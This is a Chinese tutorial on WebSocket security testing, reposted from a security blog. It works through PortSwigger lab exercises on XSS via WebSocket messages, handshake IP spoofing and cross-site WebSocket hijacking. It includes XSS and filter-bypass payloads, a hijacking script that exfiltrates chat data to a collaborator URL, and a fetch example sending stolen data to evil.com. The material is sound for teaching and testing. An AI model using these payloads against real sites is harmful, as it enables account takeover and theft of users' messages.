WebSocket 安全测试入门实践

admin 2025年5月19日15:01:27评论26 views字数 5956阅读19分51秒阅读模式

0x01 概述

在近期的渗透测试工作中,笔者发现部分目标网站同时采用了 HTTP 和 WebSocket 协议来完成不同的业务交互,例如:某些网站上传接口使用websocket,导致都不知道怎么测试上传功能。为了补齐这一块的知识盲区,也为今后遇到类似情况时能够快速定位与处置,抽空系统性学习了 WebSocket 协议的基础原理、安全隐患以及常见漏洞测试方法,并整理成本文作为记录分享。

0X02 WebSocket 协议基础

通信原理及握手过程

WebSocket 是一种网络通信协议,用于在客户端和服务器之间建立全双工(双向)持久连接的实时通信通道。它解决了传统 HTTP 协议在实时通信中的局限性(如轮询效率低),适合需要高频数据交换的场景。它基于一次 HTTP 握手完成协议升级,实现客户端与服务器之间的实时通信。

握手过程

在浏览器或代码里发起连接时:

new WebSocket("wss://example.com/chat")  //加密通道,TLS通道建好后再发HTTP握手请求
new WebSocket("ws://example.com/chat")   //明文通道,发HTTP握手请求

客户端发起 HTTP 请求,请求头中包含:

GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

服务器返回 101 状态码,表示协议切换成功:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

数据传输过程

握手完成后,协议从 HTTP 升级为 WebSocket 协议,客户端与服务器之间即可通过 WebSocket 进行持久化的双向数据传输(底层使用TCP),数据传输走的是WebSocket 自定义的帧(frame)格式。

  • 数据分帧传输:将消息拆分为多个帧(Frame),包含类型(文本/二进制)、长度、掩码等信息。

  • 掩码加密:客户端发送的数据需用掩码(Masking Key)加密,防止中间人攻击。

  • 保持连接:默认持久化,直到主动关闭或超时。

连接关闭

任一方可发送关闭帧(Close Frame)终止连接,状态码表示关闭原因(如1000表示正常关闭)。

补充

WS:// WSS://
发起 TCP 连接(80端口)
发起 TLS 握手(443端口)
发 HTTP Upgrade 请求
发 HTTP Upgrade 请求(在 TLS 加密隧道里)
服务端返回101 Switching Protocols
服务端返回101 Switching Protocols(加密的)
WebSocket 建立
WebSocket 建立
请求头/响应头 作用 安全相关说明
Sec-WebSocket-Key
客户端生成的随机 Base64 值,服务器用于拼接、SHA1 运算,返回校验
防止非 WebSocket 连接伪造
Sec-WebSocket-Version
客户端支持的 WebSocket 协议版本,通常是13
避免协议兼容性安全问题
Upgrade: websocket
协议升级标志
限制协议升级类型,防止非法升级
Connection: Upgrade
配合 Upgrade 字段确认升级
限制连接行为
Sec-WebSocket-Accept
服务器将Sec-WebSocket-Key258EAFA5-E914-47DA-95CA-C5AB0DC85B11,做 SHA1 + Base64,返回客户端
握手校验,防止伪造

抓包/查看方法

Wireshark:遇到wss的情况下看不到具体数据包,只能看到底层TCP数据。

WebSocket 安全测试入门实践

Chrome/Firefox 开发者工具:直接查看浏览器发起的 WebSocket 连接。

WebSocket 安全测试入门实践

Burp Suite:拦截、修改和重放 WebSocket 流量和抓取HTTP一样。

WebSocket 安全测试入门实践

websocat:命令行 WebSocket 客户端/调试工具,发送数据时某些需要遵守相应的数据格式,如JSON,否则不会响应。

WebSocket 安全测试入门实践

0x03 常见webSocket漏洞

原则上,几乎任何网络安全漏洞都可能与 WebSockets 有关:

  • 传输到服务器的用户提供的输入可能会以不安全的方式处理,从而导致 SQL 注入或 XML 外部实体注入等漏洞。

  • 通过 WebSockets 发现的一些盲漏洞可能只能使用带外 (OAST) 技术检测到。

  • 如果攻击者控制的数据通过 WebSockets 传输给其他应用程序用户,则可能会导致 XSS 或其他客户端漏洞。

操控 WebSocket 消息体寻找漏洞(内容注入)

篡改 WebSocket 消息体,测试服务端是否存在基于输入的漏洞,例如 XSS、SQL 注入、路径遍历等。

例如,一个具有聊天功能的Web程序使用WebSocket在客户端和服务端之间传输消息。当一个用户输入聊天消息时,如下的一个WebSocket消息被发送到服务端:

{"message":"Hello"}

当服务器没有对转发的内容做安全防御或过滤时,可能就会引发XSS攻击。

{"message":"<img src=1 onerror='alert(1)'>"}

Websocket未授权访问

某些有认证需求的API,WebSocket 服务端未对连接来源、身份进行认证,导致任意客户端可伪造连接与服务器通信,泄露敏感信息或操控操作。

使用websocat进行连接,发送消息测试,若返回用户数据,说明存在未授权访问。

连接:websocat.exe -v wss://0ae30012044ba3ba8097305600800035.web-security-academy.net/chat
发送消息:{"message":"body"}

信息泄露

WebSocket 长连接通信中,若存在返回多余调试信息、系统路径、异常堆栈等,可能泄露敏感信息,便于攻击者分析系统结构。

发送:

{"message":"getConfig"}

返回:

{"error":"File not found at /var/www/config/setting.json"}

JSON 脱字符注入:

如果 WebSocket 消息采用 JSON 传输,服务端 JSON 解析器存在缺陷,攻击者可尝试利用特殊符号"}]脱出 JSON 格式,影响后续解析或执行逻辑,导致报错或其他漏洞。

{"username":"admin"}"}

伪造握手

攻击者伪造握手请求:

GET /ws HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1

若后台将X-Forwarded-For当作客户端真实 IP,可能导致管理端口开放或安全规则失效。

攻击者绕过验证:

GET /ws?uid=1 HTTP/1.1
Cookie: session=xxxx

若服务端只基于 URIuid参数判断身份,存在权限绕过风险。

WebSocket 长连接阻塞/资源耗尽

攻击者大量建立 WebSocket 长连接占用资源,或者在长连接内不断发送大体积消息,可能导致服务器资源耗尽,造成DoS(拒绝服务)效果。

OAST(Out-of-Band Application Security Testing)

部分盲漏洞(如 SSRF、命令注入、XXE)在 WebSocket 场景下无法直接在响应内查看回显,需借助带外探测平台如Burp Collaboratorceye.io,检测服务端是否存在非法对外请求。

{"url":"http://attacker.ceye.io/test"}

观察带外服务平台是否接收到请求。

客户端 WebSocket 安全缺陷

部分前端 WebSocket 实现存在逻辑缺陷,前端 JS 泄露Token、认证参数等信息。

消息顺序或状态篡改

WebSocket 是无状态的,但业务逻辑可能依赖消息顺序。

  • 重放旧消息(如重复发送交易请求)。

  • 乱序发送消息(如先发“确认”再发“请求”)。

跨站点 WebSocket 劫持

跨站 WebSocket 劫持(也称为跨源 WebSocket 劫持)涉及 WebSocket 握手过程中的跨站请求伪造 (CSRF) 漏洞。当 WebSocket 握手请求仅依赖 HTTP Cookie 进行会话处理,且不包含任何 CSRF 令牌或其他不可预测的值时,就会出现这种情况。

攻击者可以在自己的域名上创建一个恶意网页,与存在漏洞的应用程序建立跨站 WebSocket 连接。该应用程序将在受害者用户与其会话的上下文中处理该连接。

攻击者的页面随后可以通过该连接向服务器发送任意消息,并读取从服务器返回的消息内容。这意味着,与常规的CSRF不同,攻击者可以与受感染的应用程序进行双向交互。

0x04 webSocket漏洞案例

操纵 WebSocket 消息以利用漏洞

这家网上商店有一个使用 WebSockets 实现的实时聊天功能,请使用 WebSocket 消息在支持代理的浏览器中触发弹出窗口。

WebSocket 安全测试入门实践

打开页面后可见存在一个聊天功能,打开浏览器开发者工具查看network可见使用websocket进行数据交互,已知消息格式为JSON,{"message":"123"}{"user":"You","content":"test"},尝试插入测试payload,在chat会话中可见标签被HTML编码:

WebSocket 安全测试入门实践

看了下前端JS代码

WebSocket 安全测试入门实践

可以看到,sendMessage(data)函数在发送 WebSocket 消息前,调用了htmlEncode()对用户输入的数据进行编码。htmlEncode(str)函数会根据chatFormDOM 节点上是否存在encode属性来决定是否对传入字符串进行 HTML 实体编码:如果存在该属性,则将常见的 XSS 特殊字符(如',",<,>,&等)转义为对应的 HTML 实体,避免恶意脚本执行;如果没有该属性,则直接返回原始字符串,同时在writeMessage函数中,可以看到其将usercontent直接通过innerHTML插入到页面的 DOM 中。

使用burp进行抓包,绕过前端编码:

WebSocket 安全测试入门实践

修改为payload后提交:

WebSocket 安全测试入门实践

操纵 WebSocket 握手来利用漏洞

这家网上商店有一个使用 WebSockets 实现的实时聊天功能,请使用 WebSocket 消息在支持代理的浏览器中 触发弹出窗口。简单手工测试,发现和上一个一样会编码html标签,抓包测试,发送payload后发现,提示"This address is blacklisted":

WebSocket 安全测试入门实践
WebSocket 安全测试入门实践

同时在burp的repeater中会发现websocket断开连接,点击Reconnect无法连接上,已知需要对握手包进行操作,增加一个常见XFF连接测试,连接成功。

WebSocket 安全测试入门实践

已经知道发送payload会被封IP,需要对payload进行简单绕过,绕过后使用burp刷新页面在增加XFF,发现页面加载了但是对话消息没加载出来(hackbar和burp只能应用一次请求头,这里不适用),使用插件(Modheader)将XFF实时应用到每一个请求,访问成功。但是没执行,在js中htmlEncode(str)对引号做了编码,但是反引号不在里面,更换后提交成功:

<iMg sRc=1 oNerroR=alert`2`>
WebSocket 安全测试入门实践

跨站点 WebSocket 劫持

聊天室 WebSocket 连接请求,该请求没有 CSRF 令牌:

GET /chat HTTP/2
Host: 0a1400bf0361c6ce808a126e00ff0095.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Upgrade: websocket
Origin: https://0a1400bf0361c6ce808a126e00ff0095.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7,en-GB;q=0.6
Cookie: session=Z5OapfPjvO40DQih2gZBfbnYLl8lT9LW
Sec-Websocket-Key: ZTbSt/CFe+T46mqjRnaFBQ==

在解决方案中给出了这样一段JS代码:

<script>
var ws = new WebSocket('wss://your-websocket-url');  //建立一个wss连接
ws.onopen = function() {
ws.send("READY");   //发送一个READY消息给服务器
};
ws.onmessage = function(event) {   //当收到服务器发来的WebSocket消息时触发,将消息发送到burp Collaborator
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>

大概含义:建立到目标网站 WebSocket 服务端的连接,当 WebSocket 连接成功时,发送一条消息"READY"给服务器,触发服务器可能返回一些聊天消息,把收到的 WebSocket 消息内容,原样 POST到攻击者控制的服务器上(比如 Burp Collaborator)。

更换相应的URL地址后在go to exploit提交,可以看到已经有了消息,拿到账户口令后登录成功。

WebSocket 安全测试入门实践

这里能成功外带的条件:

  • 没有CSRF 令牌校验,导致允许恶意来源建立连接

  • 客户端发送READY,服务端推送聊天记录/建立连接服务器主动推送聊天记录

  • no-cors模式,允许跨域请求发出去,不会被浏览器拦截,但JS 拿不到返回值,只能发,不能读。

fetch('https://evil.com', {
method: 'POST',
mode: 'no-cors',
body: '这里是要偷偷带走的数据'
});

0x05 总结

WebSocket 带来了更高效的前后端实时通信,但随之而来的安全风险也不容忽视,其实大部分问题仍然可以沿用常规 Web 渗透测试的思路来发现和利用,只要熟悉协议特点,测试起来并不复杂。

原文始发于微信公众号(德斯克安全小课堂):WebSocket 安全测试入门实践

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日15:01:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WebSocket 安全测试入门实践https://cn-sec.com/archives/4080014.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息